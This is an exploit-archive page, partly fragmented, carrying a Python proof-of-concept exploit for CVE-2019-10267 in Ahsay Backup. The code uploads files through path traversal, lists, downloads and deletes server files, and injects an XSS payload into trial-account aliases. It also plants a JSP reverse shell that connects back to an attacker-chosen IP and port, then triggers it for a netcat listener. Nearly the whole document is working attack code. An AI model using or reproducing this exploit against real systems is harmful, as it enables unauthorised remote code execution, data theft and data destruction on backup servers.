Exploits / Vulnerability Discovered : 2019-07-26 |
Type : webapps |
Platform : jsp
This exploit / vulnerability Ahsay backup 7.x 8.1.1.50 authenticated arbitrary file upload / remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (POC)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10267
#!/usr/bin/env python3
"""
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50.
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10267
Session cookies are reflected in the JavaScript url:
"""
import urllib3
import argparse
import base64
import re
import socket
from urllib.parse import urlencode
import gzip
import json
import hashlib
path = {
'X-RSW-custom-encode-path':'{}'.format(path),
'recursive':'{}'.format(recurse)
}
path = urlencode(path)
if action == "delete":
r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
else:
r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
if (r.status == 200):
if (action == 'list'):
result = json.loads(gzip.decompress(r.data))
dash = '-' * 50
print(dash)
print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name"))
print(dash)
for item in result["children"]:
print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name']))
print(dash)
else:
if action == "delete":
print ("File has been deleted")
else:
return (r.data.decode('utf-8'))
else:
print ("Something went wrong!")
print (r.data)
print (r.status)
except Exception as e:
print (e)
pass
def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ):
"""
This function will setup the jsp reverse shell
"""
if not self.checkAccount(self.username, self.password):
return False
<%
class StreamConnector extends Thread
{{
InputStream az;
OutputStream jk;
StreamConnector( InputStream az, OutputStream jk )
{{
this.az = az;
this.jk = jk;
}}
public void run()
{{
BufferedReader vo = null;
BufferedWriter ijb = null;
try
{{
vo = new BufferedReader( new InputStreamReader( this.az ) );
ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) );
char buffer[] = new char[8192];
int length;
while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 )
{{
ijb.write( buffer, 0, length );
ijb.flush();
}}
}} catch( Exception e ){{}}
try
{{
if( vo != null )
vo.close();
if( ijb != null )
ijb.close();
}} catch( Exception e ){{}}
}}
}}
try
{{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{
ShellPath = new String("/bin/sh");
}} else {{
ShellPath = new String("cmd.exe");
}}
Socket socket = new Socket( "{0}", {1} );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
}} catch( Exception e ) {{}}
%>'''.format(str(ip), str(port))
try:
if (uploadPath == "../../webapps/cbs/help/en/"):
callUrl = "{}/{}{}".format(self.url,re.sub("^../../webapps/",'',uploadPath),reverseShellFileName)
exploitUrl = "{}{}".format(uploadPath,reverseShellFileName)
print (exploitUrl)
self.upload(exploitUrl, reverseShell)
print ("Checking if file is uploaded.")
if (md5Sum(self.fileActions(exploitUrl,'download').encode('utf-8')) == md5Sum(reverseShell.encode('utf-8'))):
print ("File content is the same, upload OK!")
print ("Triggering {}".format(callUrl))
# http = urllib3.ProxyManager("https://localhost:8080")
r = self.http.request('GET', '{}'.format(callUrl))
if r.status == 200:
print ("Done, Check your netcat listener!")
return True
else:
return False
except Exception as e:
print (e)
return False
def upload(self, filePath, fileContent ):
"""
Needs a valid username and password.
Needs a filepath + filename to upload to.
Needs the file content.
"""
b64UploadPath = b64("{}".format(filePath))
try:
if not self.checkAccount(self.username, self.password):
return False
headers={
'X-RSW-Request-0': '{}'.format(b64(self.username)),
'X-RSW-Request-1': '{}'.format(b64(self.password)),
'X-RSW-custom-encode-path': '{}'.format(b64UploadPath)
}
# http = urllib3.ProxyManager("https://localhost:8080")
r = self.http.request(
'PUT',
'{}/obs/obm7/file/upload'.format(self.url),
body=fileContent,
headers=headers)
if (r.status == 201):
print ("File {}".format(r.reason))
else:
print ("Something went wrong!")
print (r.data)
print (r.status)
except Exception as e:
print ("Something went wrong!")
print (e)
pass
def checkAccount(self, username, password):
try:
headers={
'X-RSW-custom-encode-password': '{}'.format(b64(password)),
'X-RSW-custom-encode-username': '{}'.format(b64(username))
}
# http = urllib3.ProxyManager("https://localhost:8080")
r = self.http.request('POST', '{}/obs/obm7/user/getUserProfile'.format(url),'',headers)
if (r.data == b'CLIENT_TYPE_INCORRECT') or (r.status == 200):
if self.accountValid is None:
print ("Account is valid with username: '{}' and password '{}'".format(username, password))
self.accountValid = True
return True
elif (r.data == b'USER_NOT_EXIST'):
if not self.accountValid is None:
print ("Username does not exist!")
self.accountValid = False
return False
elif (r.data == b'PASSWORD_INCORRECT'):
if self.accountValid is None:
print ("Password not correct but username '{}' is".format(username))
self.accountValid = False
return False
else:
if self.accountValid is None:
print ("Something went wrong!")
self.accountValid = False
return False
# print (r.data)
# print (r.status)
except Exception as e:
print (e)
self.accountValid = False
return False
def checkTrialAccount(self):
try:
# http = urllib3.ProxyManager("https://localhost:8080")
r = self.http.request('POST', '{}/obs/obm7/user/isTrialEnabled'.format(self.url),'','')
if (r.status == 200 and r.data == b'ENABLED' ):
print ("Server ({}) has Trial Account enabled, exploit should work!".format(self.url))
return True
else:
print ("Server ({}) has Trial Account disabled, please use a valid account!".format(self.url))
return False
except Exception as e:
print ("Something went wrong with url {} !".format(self.url))
print (e)
return False
def addTrialAccount(self,alias=""):
try:
if not self.checkTrialAccount():
return False
headers={
'X-RSW-custom-encode-alias': '{}'.format(b64(alias)),
'X-RSW-custom-encode-password': '{}'.format(b64(self.password)),
'X-RSW-custom-encode-username': '{}'.format(b64(self.username))
}
# http = urllib3.ProxyManager("https://localhost:8080")
r = self.http.request('POST', '{}/obs/obm7/user/addTrialUser'.format(url),'',headers)
if (r.status == 200):
print ("Account '{}' created with password '{}'".format(username, password))
elif (r.data == b'LOGIN_NAME_IS_USED'):
print ("Username is in use!")
elif (r.data == b'PWD_COMPLEXITY_FAILURE'):
print ("Password not complex enough")
else:
print ("Something went wrong!")
print (r.data)
print (r.status)
except Exception as e:
print (e)
pass
#Optional
xss = parser.add_argument_group("XSS")
xss.add_argument("-x","--xss",
help="Use XSS in alias field.",
action="store_true",
default=False
)
xss.add_argument("--xssvalue",
help="Custom XSS value (must start with '>)",
default="'><script>alert(1)</script>",
required=False
)
# list files
fileaction = parser.add_argument_group("File actions", "We can control the files on the server with 4 actions: list content of directory, download file (read), write file (upload) and delete file." )
fileaction.add_argument("--action",
help="use: delete, upload, download or list",
default="list"
)
fileaction.add_argument("--localfile",
help="Upload a local file"
)
fileaction.add_argument("--filename",
help="Filename on the server"
)
fileaction.add_argument("--path",
help="Directory on server use ../../../",
default="/"
)
fileaction.add_argument("--recursive",
help="Recurse actions list and delete",
action="store_true",
default=False
)
try:
args = parser.parse_args()
if args.add and (args.username is None or args.password is None):
parser.error("The option --add / -a requires: --username and --password")
if args.exploit and (args.username is None or args.password is None or args.ip is None or args.port is None):
parser.error("The option -e / --exploit requires: --username, --password, --ip and --port")
# if not (args.host or args.r7):
if not (args.host):
parser.error("The option --host requires: -a, -c, -e or -f")
else:
url = args.host
url = url.rstrip('/')
username = args.username
password = args.password
e = Exploit(url,username,password,"http://localhost:8080")
if args.check:
e.checkTrialAccount()
elif args.add:
if args.xss and (args.xssvalue is None):
parser.error("The option -x / --xss requires: --xssvalue")
if args.xssvalue:
alias = args.xssvalue
e.addTrialAccount(alias)
elif args.exploit:
print ("Exploiting please start a netcat listener on {}:{}".format(args.ip,args.port))
input("Press Enter to continue...")
e.exploit(args.ip, args.port,"../../webapps/cbs/help/en/","SystemSettings_License_Redirector_AHSAY.jsp")
elif args.action != "upload":
e.fileActions(args.path,args.action,args.recursive)
elif args.action == "upload":
if args.localfile is not None:
f = open(args.localfile, "r")
fileContent = f.read()
e.upload("{}{}".format(args.path,args.filename),fileContent)
else:
parser.error("The option --upload must contain path to local file")